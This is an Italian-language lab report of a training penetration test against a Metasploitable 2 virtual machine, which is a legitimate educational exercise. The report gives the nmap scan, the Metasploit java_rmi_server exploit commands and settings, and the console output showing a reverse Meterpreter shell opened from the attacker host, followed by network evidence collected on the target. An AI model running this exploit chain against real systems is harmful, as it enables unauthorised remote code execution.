

# Penetration Test Java RMI (Porta 1099)

**Analista:** Victor Rosati

**Data:** 23 Gennaio 2026

**Target:** Metasploitable 2 - Servizio Java RMI

---

## 1. Obiettivo dell'Attività

Lo scopo dell'esercitazione è sfruttare una vulnerabilità nota nel servizio **Java RMI** sulla porta **1099** per ottenere una sessione **Meterpreter** remota. L'attività richiede la configurazione di una rete specifica e la raccolta di evidenze post-exploitation (configurazione di rete e tabella di routing).

---

## 2. Configurazione della Rete (Setup Manuale)

Come richiesto dalla traccia, le macchine sono state configurate con i seguenti indirizzi IP statici:

- **Macchina Attaccante (Kali):** 192.168.11.111
- **Macchina Vittima (Metasploitable):** 192.168.11.112

**Evidenza di connettività:** Il comando **fping** ha confermato che entrambi gli host sono attivi e comunicanti nella sottorete 192.168.11.0/24.

```
(kalirose@kalirose)-[~]
$ fping -g -a 192.168.11.0/24 2>/dev/null
192.168.11.111
192.168.11.112

(kalirose@kalirose)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-23 15:34 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Nmap scan report for 192.168.11.112
Host is up (0.00010s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bind-3.11    Internet Systems Consortium BIND 3.11
```

---

### 3. Analisi dei Servizi (Scanning)

La scansione `nmap -sV` sul target ha rilevato il servizio vulnerabile:

- **Porta:** 1099/tcp
  - **Servizio:** java-rmi
  - **Versione:** GNU Classpath grmiregistry
- 

### 4. Fase di Exploitation

Per l'intrusione è stato utilizzato il framework Metasploit, seguendo la procedura documentata nei log di sessione:

1. **Selezione Modulo:** È stato selezionato il modulo exploit tramite l'indice della ricerca effettuata (`use 3`) corrispondente a `exploit/multi/misc/java_rmi_server`.
2. **Configurazione Target:** L'indirizzo della vittima è stato impostato tramite `set RHOSTS 192.168.11.112`.
3. **Ottimizzazione del Payload:** Per prevenire il fallimento dell'attacco dovuto a latenza nel caricamento del payload JAR (timeout), è stato configurato il parametro `set HTTPDELAY 20`.
4. **Esecuzione:** L'attacco è stato lanciato tramite il comando `run`.

**Esito:** Apertura della sessione **Meterpreter 1** alle 16:07:14.

```
msf > search java_rmi_server

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -             -      -      -
0  exploit/multi/misc/java_rmi_server       2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
1  \ target: Generic (Java Payload)         .               .       .       .
2  \ target: Windows x86 (Native Payload)   .               .       .       .
3  \ target: Linux x86 (Native Payload)     .               .       .       .
4  \ target: Mac OS X PPC (Native Payload)  .               .       .       .
5  \ target: Mac OS X x86 (Native Payload)  .               .       .       .
6  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/misc/java_rmi_server

msf > use 3
[*] Additionally setting TARGET => Linux x86 (Native Payload)
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY => 20
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/dqpNafL5k8
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1062760 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 => 192.168.11.112:38480) at 2026-01-23 16:07:14 +0100
```

---

### 5. Raccolta Evidenze (Requisiti Traccia)

Una volta stabilita la sessione remota, sono stati eseguiti i comandi richiesti per il report finale:

- **Evidenza 1: Configurazione di Rete (**ifconfig**)** Conferma dell'indirizzo IP **192.168.11.112** sull'interfaccia **eth0** del target.
- **Evidenza 2: Tabella di Routing (**route**)** Mostra le rotte attive sulla macchina remota, inclusa la rotta locale per la subnet **192.168.11.0**.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name       : eth0
Hardware MAC : 08:00:27:25:18:b4
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe25:18b4
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.11.1	100	eth0
192.168.11.0	255.255.255.0	0.0.0.0	0	eth0

```
No IPv6 routes were found.
```

## 6. Conclusioni

L'attacco è andato a buon fine rispettando tutti i parametri di rete e tecnici richiesti. La calibrazione del parametro **HTTPDELAY** è stata determinante per superare le criticità di timeout e garantire la stabilità della sessione. Il sistema è ora pronto per le esercitazioni avanzate previste per la prossima settimana.